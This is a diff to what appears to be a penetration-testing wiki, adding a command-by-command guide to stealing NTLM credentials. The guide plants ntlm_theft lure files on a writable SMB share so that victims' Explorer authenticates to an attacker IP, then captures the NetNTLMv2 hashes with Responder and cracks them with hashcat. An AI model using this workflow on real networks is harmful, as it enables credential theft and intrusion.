 - Responder/Dementor will impersonate services using the above-mentioned protocols, capturing credentials (usually NTLMv2 Challenge/Response) when a user attempts to authenticate against the spoofed services.
 - Attempts can be made to downgrade to NetNTLMv1 or disable ESS for easier credential cracking.
 
+If you already have a **writable SMB share that victims browse**, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the [Explorer-triggered UNC lure workflow](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#writable-smb-share--explorer-triggered-unc-lures-ntlm_theftscflnklibrary-msdesktopini).

 It's crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.

+### Writable SMB share + Explorer-triggered UNC lures (ntlm_theft/SCF/LNK/library-ms/desktop.ini)
+
+If you can **write to a share that users or scheduled jobs browse in Explorer**, drop files whose metadata points to your UNC (e.g. `\\ATTACKER\share`). Rendering the folder triggers **implicit SMB authentication** and leaks a **NetNTLMv2** to your listener.
+
+1. **Generate lures** (covers SCF/URL/LNK/library-ms/desktop.ini/Office/RTF/etc.)
+
+```bash
+git clone https://github.com/Greenwolf/ntlm_theft && cd ntlm_theft
+uv add --script ntlm_theft.py xlsxwriter
+uv run ntlm_theft.py -g all -s <attacker_ip> -f lure
+```
+
+2. **Drop them on the writable share** (any folder the victim opens):
+
+```bash
+smbclient //victim/share -U 'guest%'
+cd transfer\
+prompt off
+mput lure/*
+```
+
+3. **Listen and crack**:
+
+```bash
+sudo responder -I <iface>          # capture NetNTLMv2
+hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt  # autodetects mode 5600
+```
+
+Windows may hit several files at once; anything Explorer previews (`BROWSE TO FOLDER`) requires no clicks.
